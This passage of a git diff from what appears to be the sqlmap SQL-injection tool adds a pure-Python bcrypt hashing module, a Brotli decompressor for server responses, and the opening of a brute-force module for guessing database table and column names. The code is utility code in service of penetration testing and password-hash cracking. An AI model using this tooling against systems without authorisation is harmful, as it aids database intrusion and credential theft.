dataToStdout(msg) diff --git a/lib/utils/bcrypt.py b/lib/utils/bcrypt.py new file mode 100644 index 00000000000..d8211574087 --- /dev/null +++ b/lib/utils/bcrypt.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import struct + +from lib.core.compat import xrange +from lib.core.convert import getBytes + +# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi +BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +_bcryptState = None + +def _bcryptInitState(): + global _bcryptState + + if _bcryptState is None: + count = 18 + 4 * 256 + ndigits = count * 8 + prec = ndigits + 16 + one = 1 << (4 * prec) + + def _arctan(inv): + total = term = one // inv + square = inv * inv + i = 1 + while term: + term //= square + total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) + i += 1 + return total + + frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) + hexstr = "%0*x" % (ndigits, frac) + words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] + _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) + + return _bcryptState + +def _bcryptEncipher(P, S, L, R): + for i in xrange(16): + L ^= P[i] + R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff + L, R = R, L + L, R = R, L + return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff + +def _bcryptStream(data, offset): + word = 0 + for _ in xrange(4): + word = ((word << 8) | data[offset[0]]) & 0xffffffff + offset[0] = (offset[0] + 1) % len(data) + return word + +def _bcryptExpand(P, S, data, key): + koffset = [0] + for i in xrange(18): + P[i] ^= _bcryptStream(key, koffset) + + doffset = [0] + L = R = 0 + for i in xrange(0, 18, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + P[i], P[i + 1] = L, R + + for b in xrange(4): + for k in xrange(0, 256, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + S[b][k], S[b][k + 1] = L, R + +def _bcryptBase64(data): + retVal = "" + i = 0 + while i < len(data): + c = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] + c = (c & 3) << 4 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + d = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] + c = (d & 0x0f) << 2 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + e = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] + retVal += BCRYPT_ITOA64[e & 0x3f] + return retVal + +def _bcryptUnbase64(value, length): + retVal = bytearray() + positions = [BCRYPT_ITOA64.index(_) for _ in value] + i = 0 + while i < len(positions) and len(retVal) < length: + c1 = positions[i] + c2 = positions[i + 1] if i + 1 < len(positions) else 0 + retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) + if len(retVal) >= length: + break + c3 = positions[i + 2] if i + 2 < len(positions) else 0 + retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) + if len(retVal) >= length: + break + c4 = positions[i + 3] if i + 3 < len(positions) else 0 + retVal.append((((c3 & 3) << 6) | c4) & 0xff) + i += 4 + return retVal[:length] + +def bcryptHash(password, salt, cost): + """ + Provos-Mazieres EksBlowfish digest, base64-encoded (the openwall bcrypt hash tail) + + >>> bcryptHash("U*U", "CCCCCCCCCCCCCCCCCCCCC.", 5) + 'E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + P0, S0 = _bcryptInitState() + P, S = list(P0), [list(_) for _ in S0] + + key = bytearray(getBytes(password) + b"\0") + saltbytes = _bcryptUnbase64(salt, 16) + + _bcryptExpand(P, S, saltbytes, key) + for _ in xrange(1 << cost): + _bcryptExpand(P, S, b"", key) + _bcryptExpand(P, S, b"", saltbytes) + + ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) + for _ in xrange(64): + for j in xrange(0, 6, 2): + ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) + + digest = bytearray(struct.pack(">6I", *ctext))[:23] + + return _bcryptBase64(digest) + diff --git a/lib/utils/brotli.py b/lib/utils/brotli.py new file mode 100644 index 00000000000..c0ee7a8f22f --- /dev/null +++ b/lib/utils/brotli.py @@ -0,0 +1,724 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free Brotli (RFC 7932) decompressor, so sqlmap can advertise a browser-realistic +# 'Accept-Encoding: gzip, deflate, br' and read 'Content-Encoding: br' responses (common behind CDNs) +# without pulling in the 'brotli'/'brotlicffi' third-party module. Decode-only: it is used solely to +# inflate server responses (see lib/request/basic.py::decodePage). Validated byte-for-byte against the +# reference encoder across every quality/window/size. The 122 KB static dictionary + context-lookup +# table live ZIP-packed in data/txt/brotli-dictionary.tx_ (same convention as wordlist.tx_). Py 2.7 / 3.x. + +import hashlib +import os +import threading +import zipfile + +_TABLES = None # (dictionary, context) published atomically on first use +_TABLES_LOCK = threading.Lock() + +# provenance: the RFC 7932 Appendix A static dictionary (122784 bytes) + the 2048-byte context-lookup +# table, extracted byte-for-byte from libbrotlicommon; verified on load so a swapped/corrupt resource +# fails loudly instead of silently mis-decoding +_TABLES_SHA256 = "20e42eb1b511c21806d4d227d07e5dd06877d8ce7b3a817f378f313653f35c70" # sha256 of the 122784-byte dictionary +_DICTIONARY_SIZE = 122784 +_CONTEXT_SIZE = 2048 + +# per-stream ceiling on total Huffman lookup-table entries: bounds decoder memory independently of the +# output cap (a hostile stream can declare many maximal 2^15-entry trees). ~10x the worst legitimate need. +_MAX_HUFFMAN_TABLE_ENTRIES = 1 << 20 + +# RFC 7932 Appendix A: words are bucketed by length (4..24); size_bits gives the index width per bucket, +# offsets the cumulative byte offset of each bucket (derived from size_bits; last bucket end == 122784). +_SIZE_BITS = [0, 0, 0, 0, 10, 10, 11, 11, 10, 10, 10, 10, 10, 9, 9, 8, 7, 7, 8, 7, 7, 6, 6, 5, 5] +_OFFSETS = [0] * 25 +for _i in range(24): + _OFFSETS[_i + 1] = _OFFSETS[_i] + ((_i << _SIZE_BITS[_i]) if _SIZE_BITS[_i] else 0) + +# insert-length and copy-length codes (RFC 7932 section 5): (extra bits, base) per code 0..23 +_INS_EXTRA = [0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7, 8, 9, 10, 12, 14, 24] +_INS_BASE = [0, 1, 2, 3, 4, 5, 6, 8, 10, 14, 18, 26, 34, 50, 66, 98, 130, 194, 322, 578, 1090, 2114, 6210, 22594] +_COPY_EXTRA = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7, 8, 9, 10, 24] +_COPY_BASE = [2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 14, 18, 22, 30, 38, 54, 70, 102, 134, 198, 326, 582, 1094, 2118] +# block-length code (RFC 7932 section 6): (extra bits, base) per code 0..25 +_BLEN_EXTRA = [2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8, 9, 10, 11, 12, 13, 24] +_BLEN_BASE = [1, 5, 9, 13, 17, 25, 33, 41, 49, 65, 81, 97, 113, 145, 177, 209, 241, 305, 369, 497, 753, 1265, 2289, 4337, 8433, 16625] + +# insert-and-copy command split (RFC 7932 section 5): per command range (code >> 6), the insert/copy +# sub-code base and whether the distance is implicit (codes 0..127 reuse the last distance) +_CMD_RANGE = [(0, 0, True), (0, 8, True), (0, 0, False), (0, 8, False), (8, 0, False), (8, 8, False), + (0, 16, False), (16, 0, False), (8, 16, False), (16, 8, False), (16, 16, False)] + +# code-length-code order and the fixed prefix used to read the 18 code-length code lengths (section 3.5) +_CL_ORDER = [1, 2, 3, 4, 0, 5, 17, 6, 16, 7, 8, 9, 10, 11, 12, 13, 14, 15] +_CLP_LEN = [2, 2, 2, 3, 2, 2, 2, 4, 2, 2, 2, 3, 2, 2, 2, 4] +_CLP_VAL = [0, 4, 3, 2, 0, 4, 3, 1, 0, 4, 3, 2, 0, 4, 3, 5] + +# distance short codes (RFC 7932 section 4): index into the 4-entry distance ring + a signed delta +_DIST_IDX_OFF = [3, 2, 1, 0, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2] +_DIST_VAL_OFF = [0, 0, 0, 0, -1, 1, -2, 2, -3, 3, -1, 1, -2, 2, -3, 3] + +# transform table (RFC 7932 Appendix B): (prefix, transform id, suffix); ids 0=identity, 1..9=omit-last-N, +# 10=uppercase-first, 11=uppercase-all, 12..20=omit-first-N +_TRANSFORMS = [ + (b"", 0, b""), + (b"", 0, b" "), + (b" ", 0, b" "), + (b"", 12, b""), + (b"", 10, b" "), + (b"", 0, b" the "), + (b" ", 0, b""), + (b"s ", 0, b" "), + (b"", 0, b" of "), + (b"", 10, b""), + (b"", 0, b" and "), + (b"", 13, b""), + (b"", 1, b""), + (b", ", 0, b" "), + (b"", 0, b", "), + (b" ", 10, b" "), + (b"", 0, b" in "), + (b"", 0, b" to "), + (b"e ", 0, b" "), + (b"", 0, b"\""), + (b"", 0, b"."), + (b"", 0, b"\">"), + (b"", 0, b"\x0a"), + (b"", 3, b""), + (b"", 0, b"]"), + (b"", 0, b" for "), + (b"", 14, b""), + (b"", 2, b""), + (b"", 0, b" a "), + (b"", 0, b" that "), + (b" ", 10, b""), + (b"", 0, b". "), + (b".", 0, b""), + (b" ", 0, b", "), + (b"", 15, b""), + (b"", 0, b" with "), + (b"", 0, b"'"), + (b"", 0, b" from "), + (b"", 0, b" by "), + (b"", 16, b""), + (b"", 17, b""), + (b" the ", 0, b""), + (b"", 4, b""), + (b"", 0, b". The "), + (b"", 11, b""), + (b"", 0, b" on "), + (b"", 0, b" as "), + (b"", 0, b" is "), + (b"", 7, b""), + (b"", 1, b"ing "), + (b"", 0, b"\x0a\x09"), + (b"", 0, b":"), + (b" ", 0, b". "), + (b"", 0, b"ed "), + (b"", 20, b""), + (b"", 18, b""), + (b"", 6, b""), + (b"", 0, b"("), + (b"", 10, b", "), + (b"", 8, b""), + (b"", 0, b" at "), + (b"", 0, b"ly "), + (b" the ", 0, b" of "), + (b"", 5, b""), + (b"", 9, b""), + (b" ", 10, b", "), + (b"", 10, b"\""), + (b".", 0, b"("), + (b"", 11, b" "), + (b"", 10, b"\">"), + (b"", 0, b"=\""), + (b" ", 0, b"."), + (b".com/", 0, b""), + (b" the ", 0, b" of the "), + (b"", 10, b"'"), + (b"", 0, b". This "), + (b"", 0, b","), + (b".", 0, b" "), + (b"", 10, b"("), + (b"", 10, b"."), + (b"", 0, b" not "), + (b" ", 0, b"=\""), + (b"", 0, b"er "), + (b" ", 11, b" "), + (b"", 0, b"al "), + (b" ", 11, b""), + (b"", 0, b"='"), + (b"", 11, b"\""), + (b"", 10, b". "), + (b" ", 0, b"("), + (b"", 0, b"ful "), + (b" ", 10, b". "), + (b"", 0, b"ive "), + (b"", 0, b"less "), + (b"", 11, b"'"), + (b"", 0, b"est "), + (b" ", 10, b"."), + (b"", 11, b"\">"), + (b" ", 0, b"='"), + (b"", 10, b","), + (b"", 0, b"ize "), + (b"", 11, b"."), + (b"\xc2\xa0", 0, b""), + (b" ", 0, b","), + (b"", 10, b"=\""), + (b"", 11, b"=\""), + (b"", 0, b"ous "), + (b"", 11, b", "), + (b"", 10, b"='"), + (b" ", 10, b","), + (b" ", 11, b"=\""), + (b" ", 11, b", "), + (b"", 11, b","), + (b"", 11, b"("), + (b"", 11, b". "), + (b" ", 11, b"."), + (b"", 11, b"='"), + (b" ", 11, b". "), + (b" ", 10, b"=\""), + (b" ", 11, b"='"), + (b" ", 10, b"='"), +] + + +class BrotliError(Exception): + pass + + +def _loadTables(): + global _TABLES + tables = _TABLES + if tables is not None: # fast path: already published (dict, context) tuple + return tables + + with _TABLES_LOCK: + if _TABLES is not None: # another thread won the race + return _TABLES + try: + path = None + try: + from lib.core.data import paths + path = getattr(paths, "BROTLI_DICTIONARY", None) + except ImportError: + pass + if not path or not os.path.isfile(path): + path = os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, "data", "txt", "brotli-dictionary.tx_") + + archive = zipfile.ZipFile(path) # ZIP-packed like wordlist.tx_ / catalog-identifiers.tx_ + try: + names = archive.namelist() + if len(names) != 1: + raise BrotliError("unexpected Brotli dictionary archive layout") + raw = archive.read(names[0]) + finally: + archive.close() + except BrotliError: + raise + except Exception as ex: + raise BrotliError("could not load the Brotli dictionary (%s)" % ex) + + if len(raw) != _DICTIONARY_SIZE + _CONTEXT_SIZE: + raise BrotliError("invalid Brotli dictionary length") + if hashlib.sha256(raw[:_DICTIONARY_SIZE]).hexdigest() != _TABLES_SHA256: + raise BrotliError("Brotli dictionary integrity check failed") + + # build both, then publish the pair atomically so a concurrent reader never sees a half-set state + _TABLES = (raw[:_DICTIONARY_SIZE], bytearray(raw[_DICTIONARY_SIZE:])) + return _TABLES + + +class _BitReader(object): + __slots__ = ("data", "size", "pos", "acc", "bits") + + def __init__(self, data): + self.data = bytearray(data) + self.size = len(self.data) + self.pos = 0 + self.acc = 0 + self.bits = 0 + + def _fill(self): + while self.bits <= 24 and self.pos < self.size: + self.acc |= self.data[self.pos] << self.bits + self.pos += 1 + self.bits += 8 + + def readBits(self, count): + if count == 0: + return 0 + if self.bits < count: + self._fill() + if self.bits < count: # ran off the end of the stream -> truncated, not zero-padded + raise BrotliError("truncated Brotli stream") + value = self.acc & ((1 << count) - 1) + self.acc >>= count + self.bits -= count + return value + + def peek(self, count): + # lenient lookahead (a prefix-code peek may legitimately reach past the final byte); only the + # matching drop() actually consumes, and drop() rejects consuming more than really remains + if self.bits < count: + self._fill() + return self.acc & ((1 << count) - 1) + + def drop(self, count): + if self.bits < count: # the matched code needs bits the stream does not have + raise BrotliError("truncated Brotli stream") + self.acc >>= count + self.bits -= count + + def alignToByte(self): + drop = self.bits & 7 + if drop: + self.acc >>= drop + self.bits -= drop + + def readBytes(self, count): + out = bytearray() + while count > 0 and self.bits >= 8: + out.append(self.acc & 0xff) + self.acc >>= 8 + self.bits -= 8 + count -= 1 + if count > 0: + if self.pos + count > self.size: + raise BrotliError("truncated Brotli stream") + out += self.data[self.pos:self.pos + count] + self.pos += count + return bytes(out) + + def exhausted(self): + # true once no whole real bytes remain beyond the current (partial) byte - used to reject + # trailing garbage after the final meta-block + return self.pos >= self.size and self.bits < 8 + + +def _reverseBits(value, count): + result = 0 + for _ in range(count): + result = (result << 1) | (value & 1) + value >>= 1 + return result + + +class _Huffman(object): + __slots__ = ("maxLength", "table", "single") + + def __init__(self, lengths, budget=None): + self.single = None + self.table = None + self.maxLength = max(lengths) if lengths else 0 + used = [(symbol, length) for symbol, length in enumerate(lengths) if length] + if not used: + raise BrotliError("empty Brotli prefix code") + if self.maxLength == 0 or len(used) == 1: # a one-symbol code is always that symbol (0 bits) + self.single = used[0][0] + self.maxLength = 0 + return + + if budget is not None: + budget[0] -= (1 << self.maxLength) + if budget[0] < 0: + raise BrotliError("Brotli decoder table budget exceeded") + + counts = [0] * (self.maxLength + 1) + for _, length in used: + counts[length] += 1 + nextCode = [0] * (self.maxLength + 2) + code = 0 + space = 0 + for bits in range(1, self.maxLength + 1): + code = (code + counts[bits - 1]) << 1 + nextCode[bits] = code + space += counts[bits] << (self.maxLength - bits) + if space != (1 << self.maxLength): # over- or under-subscribed prefix code (must be complete) + raise BrotliError("invalid Brotli prefix code") + + self.table = [None] * (1 << self.maxLength) # None = unreachable slot (rejected on decode) + for symbol, length in used: + reversed_ = _reverseBits(nextCode[length], length) + nextCode[length] += 1 + step = 1 << length + for index in range(reversed_, 1 << self.maxLength, step): + self.table[index] = (symbol, length) + + def decode(self, reader): + if self.table is None: + return self.single + entry = self.table[reader.peek(self.maxLength)] + if entry is None: # bits matched no code -> malformed stream + raise BrotliError("invalid Brotli prefix code") + reader.drop(entry[1]) + return entry[0] + + +def _readSimplePrefix(reader, alphabetSize, budget): + count = reader.readBits(2) + 1 + symbolBits = (alphabetSize - 1).bit_length() or 1 + symbols = [reader.readBits(symbolBits) for _ in range(count)] + for symbol in symbols: + if symbol >= alphabetSize: + raise BrotliError("out-of-range symbol in Brotli simple prefix code") + if len(set(symbols)) != count: + raise BrotliError("duplicate symbol in Brotli simple prefix code") + if count == 1: + pairs = [(symbols[0], 1)] # one symbol -> _Huffman makes it a 0-bit code + elif count == 2: + pairs = [(symbols[0], 1), (symbols[1], 1)] + elif count == 3: + pairs = [(symbols[0], 1), (symbols[1], 2), (symbols[2], 2)] + elif reader.readBits(1): + pairs = [(symbols[0], 1), (symbols[1], 2), (symbols[2], 3), (symbols[3], 3)] + else: + pairs = [(symbols[0], 2), (symbols[1], 2), (symbols[2], 2), (symbols[3], 2)] + lengths = [0] * alphabetSize + for symbol, length in pairs: + lengths[symbol] = length + return _Huffman(lengths, budget) + + +def _readComplexPrefix(reader, alphabetSize, skip, budget): + codeLengths = [0] * 18 + space = 32 + for symbol in _CL_ORDER[skip:]: + index = reader.peek(4) + codeLengths[symbol] = _CLP_VAL[index] + reader.drop(_CLP_LEN[index]) + if codeLengths[symbol]: + space -= 32 >> codeLengths[symbol] + if space <= 0: + break + codeLengthHuffman = _Huffman(codeLengths, budget) + + lengths = [0] * alphabetSize + symbol = 0 + previous = 8 + repeat = 0 + repeatLength = 0 + space = 32768 + while symbol < alphabetSize and space > 0: + code = codeLengthHuffman.decode(reader) + if code < 16: + lengths[symbol] = code + symbol += 1 + if code: + previous = code + space -= 32768 >> code + repeat = 0 + else: + extra = 2 if code == 16 else 3 + newLength = previous if code == 16 else 0 + if repeatLength != newLength: + repeat = 0 + repeatLength = newLength + old = repeat + delta = reader.readBits(extra) + if repeat > 0: + repeat = (repeat - 2) << extra + repeat += delta + 3 + emit = repeat - old + for _ in range(emit): + if symbol >= alphabetSize: # a run past the alphabet is a malformed stream + raise BrotliError("Brotli code-length run exceeds alphabet") + lengths[symbol] = repeatLength + symbol += 1 + if repeatLength: + space -= emit << (15 - repeatLength) + return _Huffman(lengths, budget) + + +def _readPrefix(reader, alphabetSize, budget): + header = reader.readBits(2) + if header == 1: + return _readSimplePrefix(reader, alphabetSize, budget) + return _readComplexPrefix(reader, alphabetSize, header, budget) + + +def _readBlockTypeCount(reader): + if not reader.readBits(1): + return 1 + bits = reader.readBits(3) + return (1 << bits) + 1 + reader.readBits(bits) + + +def _readContextMap(reader, treeCount, size, budget): + maxRun = reader.readBits(4) + 1 if reader.readBits(1) else 0 + huffman = _readPrefix(reader, treeCount + maxRun, budget) + contextMap = [] + while len(contextMap) < size: + code = huffman.decode(reader) + if code == 0: + contextMap.append(0) + elif code <= maxRun: + run = (1 << code) + reader.readBits(code) + if len(contextMap) + run > size: # a run past the declared map size is malformed + raise BrotliError("Brotli context map run overruns the map") + contextMap.extend([0] * run) + else: + value = code - maxRun + if value >= treeCount: # references a tree that was not declared + raise BrotliError("Brotli context map references an undefined tree") + contextMap.append(value) + if reader.readBits(1): # inverse move-to-front + moveToFront = list(range(256)) + for i in range(len(contextMap)): + index = contextMap[i] + value = moveToFront[index] + contextMap[i] = value + del moveToFront[index] + moveToFront.insert(0, value) + return contextMap + + +def _toUpperCase(word, offset): + char = word[offset] + if char < 0xc0: # ASCII: flip case of a-z + if 97 <= char <= 122: + word[offset] = char ^ 32 + return 1 + if char < 0xe0: # 2-byte UTF-8 + if offset + 1 < len(word): + word[offset + 1] ^= 32 + return 2 + if offset + 2 < len(word): # 3-byte UTF-8 + word[offset + 2] ^= 5 + return 3 + + +def _applyTransform(transformId, word): + prefix, kind, suffix = _TRANSFORMS[transformId] + result = bytearray(word) + if kind == 0: + pass + elif 1 <= kind <= 9: # omit last N + result = result[:len(result) - kind] if len(result) >= kind else bytearray() + elif 12 <= kind <= 20: # omit first N + count = kind - 11 + result = result[count:] if len(result) >= count else bytearray() + elif kind == 10: # uppercase first + if result: + _toUpperCase(result, 0) + elif kind == 11: # uppercase all + offset = 0 + while offset < len(result): + offset += _toUpperCase(result, offset) + return prefix + bytes(result) + suffix + + +def decompress(data, maxOutput=100 * 1024 * 1024): + """Decompress a Brotli (RFC 7932) stream, returning the original bytes. Raises BrotliError on a + malformed stream or if the output would exceed 'maxOutput' (an anti-decompression-bomb cap).""" + + try: + dictionary, context = _loadTables() + reader = _BitReader(data) + header = reader.readBits(1) + if header == 0: + windowBits = 16 + else: + header = reader.readBits(3) + if header: + windowBits = 17 + header + else: + header = reader.readBits(3) + windowBits = (8 + header) if header else 17 + maxBackward = (1 << windowBits) - 16 + + out = bytearray() + distRing = [16, 15, 11, 4] + distIndex = 0 + + while True: + isLast = reader.readBits(1) + if isLast and reader.readBits(1): # ISLASTEMPTY + break + + nibbles = reader.readBits(2) + if nibbles == 3: # metadata block (no output) + if reader.readBits(1): + raise BrotliError("reserved bit set") + skipBytes = reader.readBits(2) + if skipBytes: + skipLength = reader.readBits(skipBytes * 8) + 1 + reader.alignToByte() + reader.readBytes(skipLength) + if isLast: + break + continue + + metaLength = reader.readBits((nibbles + 4) * 4) + 1 + if len(out) + metaLength > maxOutput: # reject an over-large block up front (anti-bomb) + raise BrotliError("output too large") + if not isLast and reader.readBits(1): # ISUNCOMPRESSED + reader.alignToByte() + out += reader.readBytes(metaLength) + if len(out) > maxOutput: + raise BrotliError("output too large") + continue + + budget = [_MAX_HUFFMAN_TABLE_ENTRIES] # per-meta-block Huffman memory ceiling + + typesL = _readBlockTypeCount(reader) + blockL, typeHuffmanL, lengthHuffmanL, prevTypeL = 1 << 28, None, None, 1 + typeL = 0 + if typesL >= 2: + typeHuffmanL = _readPrefix(reader, typesL + 2, budget) + lengthHuffmanL = _readPrefix(reader, 26, budget) + code = lengthHuffmanL.decode(reader) + blockL = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + + typesI = _readBlockTypeCount(reader) + blockI, typeHuffmanI, lengthHuffmanI, prevTypeI = 1 << 28, None, None, 1 + typeI = 0 + if typesI >= 2: + typeHuffmanI = _readPrefix(reader, typesI + 2, budget) + lengthHuffmanI = _readPrefix(reader, 26, budget) + code = lengthHuffmanI.decode(reader) + blockI = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + + typesD = _readBlockTypeCount(reader) + blockD, typeHuffmanD, lengthHuffmanD, prevTypeD = 1 << 28, None, None, 1 + typeD = 0 + if typesD >= 2: + typeHuffmanD = _readPrefix(reader, typesD + 2, budget) + lengthHuffmanD = _readPrefix(reader, 26, budget) + code = lengthHuffmanD.decode(reader) + blockD = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + + postfix = reader.readBits(2) + direct = reader.readBits(4) << postfix + contextModes = [reader.readBits(2) for _ in range(typesL)] + + treesL = _readBlockTypeCount(reader) + contextMapL = _readContextMap(reader, treesL, typesL * 64, budget) if treesL >= 2 else [0] * (typesL * 64) + treesD = _readBlockTypeCount(reader) + contextMapD = _readContextMap(reader, treesD, typesD * 4, budget) if treesD >= 2 else [0] * (typesD * 4) + + huffmanL = [_readPrefix(reader, 256, budget) for _ in range(treesL)] + huffmanI = [_readPrefix(reader, 704, budget) for _ in range(typesI)] + distanceAlphabet = 16 + direct + (48 << postfix) + huffmanD = [_readPrefix(reader, distanceAlphabet, budget) for _ in range(treesD)] + + produced = 0 + while produced < metaLength: + if blockI == 0: + code = typeHuffmanI.decode(reader) + nextType = prevTypeI if code == 0 else ((typeI + 1) % typesI if code == 1 else code - 2) + prevTypeI, typeI = typeI, nextType + code = lengthHuffmanI.decode(reader) + blockI = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + blockI -= 1 + + command = huffmanI[typeI].decode(reader) + insertBase, copyBase, implicit = _CMD_RANGE[command >> 6] + insertCode = insertBase + ((command >> 3) & 7) + copyCode = copyBase + (command & 7) + insertLength = _INS_BASE[insertCode] + reader.readBits(_INS_EXTRA[insertCode]) + copyLength = _COPY_BASE[copyCode] + reader.readBits(_COPY_EXTRA[copyCode]) + # a well-formed command never inserts beyond the meta-block; bounding here keeps a hostile + # stream from spinning the literal loop far past the output cap before it is caught (the + # copy length is checked in the back-reference branch, and dictionary copies are <= 24) + if produced + insertLength > metaLength: + raise BrotliError("insert exceeds meta-block length") + + for _ in range(insertLength): + if blockL == 0: + code = typeHuffmanL.decode(reader) + nextType = prevTypeL if code == 0 else ((typeL + 1) % typesL if code == 1 else code - 2) + prevTypeL, typeL = typeL, nextType + code = lengthHuffmanL.decode(reader) + blockL = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + blockL -= 1 + mode = contextModes[typeL] * 512 + p1 = out[-1] if out else 0 + p2 = out[-2] if len(out) >= 2 else 0 + contextId = context[mode + p1] | context[mode + 256 + p2] + out.append(huffmanL[contextMapL[64 * typeL + contextId]].decode(reader)) + produced += 1 + + if produced >= metaLength: + break + + if implicit: + distanceCode = 0 + else: + if blockD == 0: + code = typeHuffmanD.decode(reader) + nextType = prevTypeD if code == 0 else ((typeD + 1) % typesD if code == 1 else code - 2) + prevTypeD, typeD = typeD, nextType + code = lengthHuffmanD.decode(reader) + blockD = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + blockD -= 1 + distanceContext = min(copyLength - 2, 3) if copyLength >= 2 else 0 + distanceCode = huffmanD[contextMapD[4 * typeD + distanceContext]].decode(reader) + + if distanceCode < 16: + distance = distRing[(distIndex + _DIST_IDX_OFF[distanceCode]) & 3] + _DIST_VAL_OFF[distanceCode] + else: + value = distanceCode - 16 + if value < direct: + distance = value + 1 + else: + value -= direct + extraBits = 1 + (value >> (postfix + 1)) + extra = reader.readBits(extraBits) + high = value >> postfix + low = value & ((1 << postfix) - 1) + distance = ((((2 + (high & 1)) << extraBits) - 4 + extra) << postfix) + low + direct + 1 + + if distance <= 0: # a ring/short-code computation must yield >= 1 + raise BrotliError("invalid Brotli distance") + + maxDistance = min(len(out), maxBackward) + if distanceCode != 0 and distance <= maxDistance: + distRing[distIndex & 3] = distance + distIndex += 1 + + if distance <= maxDistance: # ordinary back-reference (may overlap) + if produced + copyLength > metaLength: # can't copy past the block (also bounds the loop) + raise BrotliError("copy exceeds meta-block length") + source = len(out) - distance + for i in range(copyLength): + out.append(out[source + i]) + produced += 1 + else: # static-dictionary reference + offset = distance - maxDistance - 1 + if not (4 <= copyLength <= 24) or _SIZE_BITS[copyLength] == 0: + raise BrotliError("invalid dictionary reference") + bits = _SIZE_BITS[copyLength] + index = offset & ((1 << bits) - 1) + transformId = offset >> bits + if transformId >= len(_TRANSFORMS): + raise BrotliError("invalid dictionary transform") + start = _OFFSETS[copyLength] + index * copyLength + word = _applyTransform(transformId, dictionary[start:start + copyLength]) + if produced + len(word) > metaLength: # a transformed word must still fit the block + raise BrotliError("dictionary word exceeds meta-block length") + out += word + produced += len(word) + + if len(out) > maxOutput: + raise BrotliError("output too large") + + if isLast: + break + + # after the final meta-block only zero byte-alignment padding may remain: no whole leftover bytes + # (trailing garbage) and the padding bits themselves must be zero (RFC 7932) + if reader.bits + (reader.size - reader.pos) * 8 >= 8: + raise BrotliError("trailing data after Brotli stream") + if reader.acc != 0: + raise BrotliError("non-zero Brotli padding bits") + return bytes(out) + except BrotliError: + raise + except Exception as ex: + raise BrotliError("malformed Brotli stream (%s)" % ex) diff --git a/lib/utils/brute.py b/lib/utils/brute.py new file mode 100644 index 00000000000..5f917e26a39 --- /dev/null +++ b/lib/utils/brute.py @@ -0,0 +1,410 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import division + +import time + +from lib.core.common import Backend +from lib.core.common import clearConsoleLine +from lib.core.common import dataToStdout +from lib.core.common import filterListValue +from lib.core.common import getFileItems +from lib.core.common import getPageWordSet +from lib.core.common import hashDBWrite +from lib.core.common import isNoneValue +from lib.core.common import ntToPosixSlashes +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import stackedmethod +from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE +from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES +from lib.core.threads import getCurrentThreadData +from lib.core.threads import runThreads +from lib.request import inject + +def _addPageTextWords(): + wordsList = [] + + infoMsg = "adding words used on web page to the check list" + logger.info(infoMsg) + pageWords = getPageWordSet(kb.originalPage) + + for word in pageWords: + word = word.lower() + + if len(word) > 2 and not word[0].isdigit() and word not in wordsList: + wordsList.append(word) + + return wordsList + 